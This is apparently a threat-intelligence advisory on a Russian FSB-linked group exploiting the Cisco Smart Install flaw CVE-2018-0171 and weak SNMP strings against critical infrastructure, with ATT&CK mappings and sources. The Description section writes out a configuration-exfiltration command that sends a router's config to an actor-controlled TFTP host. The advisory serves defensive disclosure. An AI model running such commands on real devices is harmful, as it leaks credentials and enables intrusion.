# Static Tundra (FSB Center 16) Exploits CVE-2018-0171 Cisco Smart Install Flaw Against Critical Infrastructure

> NSA, FBI, and CISA, joined by 15 allied agencies across nine countries, issued a joint advisory on Static Tundra (aka Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, Ghost Blizzard), a Russian FSB Center 16-linked espionage group aggressively exploiting CVE-2018-0171 in Cisco IOS/IOS XE Smart Install since November 2021, combined with weak/default SNMP community strings, to compromise routers, deploy firmware implants, and exfiltrate device configurations from critical infrastructure.

- **Published:** 2026-07-13T00:00:00Z
- **Last reviewed:** 2026-07-13T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1282
- **ID:** TL-2026-1282
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Actor:** Static Tundra (Russia)
- **Detections:** 9 · **IOCs:** 22 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2018-0171

## Description

Static Tundra is a Russian state-sponsored cyber-espionage group, assessed by Cisco Talos to be linked to the FSB's Center 16 unit and likely a sub-cluster of the longer-running Energetic Bear (Berserk Bear/Dragonfly) activity cluster, with operations tracing back over a decade to at least 2015. The group's hallmark tradecraft is network-device-centric espionage: rather than deploying conventional endpoint malware, Static Tundra targets routers and switches directly, favoring unpatched, end-of-life Cisco IOS and IOS XE devices.

The group's primary current initial-access vector is CVE-2018-0171, a critical (CVSS 9.8) unauthenticated remote code execution / denial-of-service vulnerability in the Cisco Smart Install feature. Despite being patched by Cisco in 2018, Static Tundra has aggressively and continuously exploited unpatched instances since at least November 2021, sending crafted Smart Install messages to TCP port 4786 to trigger a stack/buffer overflow that grants administrative control of the device. In parallel, the group scans for and abuses devices still configured with default or weak SNMP community strings (e.g., "public", "anonymous"), issuing SNMP commands — sometimes with spoofed source IP addresses to bypass access control lists — to read and rewrite device configuration.

Once administrative access is obtained, Static Tundra exfiltrates the full running/startup configuration via TFTP or FTP (commands such as `copy running-config tftp://<actor_ip>/config.txt` or via the CISCO-CONFIG-COPY-MIB SNMP object), harvesting Type 7 (Vigenere-cipher, trivially reversible) passwords, plaintext credentials, SNMP community strings, and TACACS+ secrets embedded in the config. The group then re-uses these harvested credentials to pivot deeper, create new privileged (privilege level 15) local accounts, enable TELNET where disabled, modify TACACS+ configuration to degrade centralized logging, adjust ACLs to permit continued actor access, and in some cases establish GRE tunnels to redirect and collect NetFlow/traffic data. For long-term persistence on more capable platforms, Talos assesses with moderate confidence that Static Tundra is associated with the historic SYNful Knock firmware implant — a modular backdoor injected directly into the Cisco IOS image that survives reboots and is remotely activated via a crafted TCP SYN "magic packet."

Victimology spans telecommunications, higher education, and manufacturing globally (North America, Asia, Africa, Europe), with a documented escalation in targeting of Ukraine and allied nations following Russia's 2022 full-scale invasion. The July 2026 joint advisory broadens the disclosed target set to energy, defense industrial base, healthcare, financial services, and state/local government sectors, reflecting continued FSB strategic-intelligence and pre-positioning objectives against Western critical infrastructure. The nine-country coalition advisory (US, Australia, UK, Canada, New Zealand, Estonia, Finland, France, Italy) underscores the scale and persistence of the campaign and urges immediate disabling of Smart Install, migration to SNMPv3, and replacement of end-of-life hardware.

## MITRE ATT&CK

- T1595 Active Scanning
- T1590 Gather Victim Network Information
- T1190 Exploit Public-Facing Application
- T1133 External Remote Services
- T1078 Valid Accounts
- T1059 Command and Scripting Interpreter
- T1136 Create Account
- T1098 Account Manipulation
- T1601 Modify System Image
- T1584 Compromise Infrastructure
- T1078 Valid Accounts
- T1685 Disable or Modify Tools
- T1070 Indicator Removal
- T1552 Unsecured Credentials
- T1040 Network Sniffing
- T1110 Brute Force
- T1046 Network Service Discovery
- T1016 System Network Configuration Discovery
- T1087 Account Discovery
- T1210 Exploitation of Remote Services
- T1119 Automated Collection
- T1602 Data from Configuration Repository
- T1557 Adversary-in-the-Middle
- T1095 Non-Application Layer Protocol
- T1090 Proxy
- T1041 Exfiltration Over C2 Channel
- T1048 Exfiltration Over Alternative Protocol
- T1499 Endpoint Denial of Service

## Sources

- [US and allies share defense tips against Russian hackers targeting critical infrastructure](https://www.bleepingcomputer.com/news/security/us-and-allies-share-defense-tips-against-russian-hackers-targeting-critical-infrastructure/)
- [Russian state-sponsored espionage group Static Tundra compromises unpatched end-of-life network devices](https://blog.talosintelligence.com/static-tundra/)
- [Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20180328-smi2.html)
- [CVE-2018-0171 Detail](https://nvd.nist.gov/vuln/detail/cve-2018-0171)
- [FBI Warns FSB-Linked Hackers Exploiting Unpatched Cisco Devices for Cyber Espionage](https://thehackernews.com/2025/08/fbi-warns-russian-fsb-linked-hackers.html)
- [Internet Crime Complaint Center (IC3) PSA: Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure](https://www.ic3.gov/PSA/2025/PSA250820)
- [Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure](https://www.fbi.gov/investigate/cyber/alerts/2025/russian-government-cyber-actors-targeting-networking-devices-critical-infrastructure)
- [CVE-2018-0171 Static Tundra Smart Install Detection Guide](https://www.splunk.com/en_us/blog/security/cve-2018-0171-static-tundra-smart-install-detection-guide.html)
- [Russian FSB Center 16 exploits Cisco flaw in cyber espionage campaign to target critical infrastructure](https://industrialcyber.co/threats-attacks/russian-fsb-center-16-exploits-decade-old-cisco-flaw-in-cyber-espionage-campaign-to-target-critical-infrastructure/)
- [Russian state cyber group Static Tundra exploiting Cisco devices, FBI warns](https://therecord.media/russia-cisco-fsb-static-tundra)
- [Russian Espionage Group Static Tundra Targets Legacy Cisco Flaw](https://www.infosecurity-magazine.com/news/russian-espionage-group-targets/)
- [FSB Center 16 Exploited Default Router Passwords to Map Critical Infrastructure for Years](https://www.techtimes.com/articles/320356/20260713/fsb-center-16-exploited-default-router-passwords-map-critical-infrastructure-years.htm)
- [FBI: Russia-linked group Static Tundra exploit old Cisco flaw for espionage](https://securityaffairs.com/181347/intelligence/fbi-russia-linked-group-static-tundra-exploit-old-cisco-flaw-for-espionage.html)
- [Russian hackers exploit old Cisco flaw to target global enterprise networks](https://www.csoonline.com/article/4043721/russian-hackers-exploit-old-cisco-flaw-to-target-global-enterprise-networks.html)
- [A vulnerability in the Smart Install feature of Cisco IOS](https://github.com/advisories/GHSA-4w6g-87mh-x63x)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1282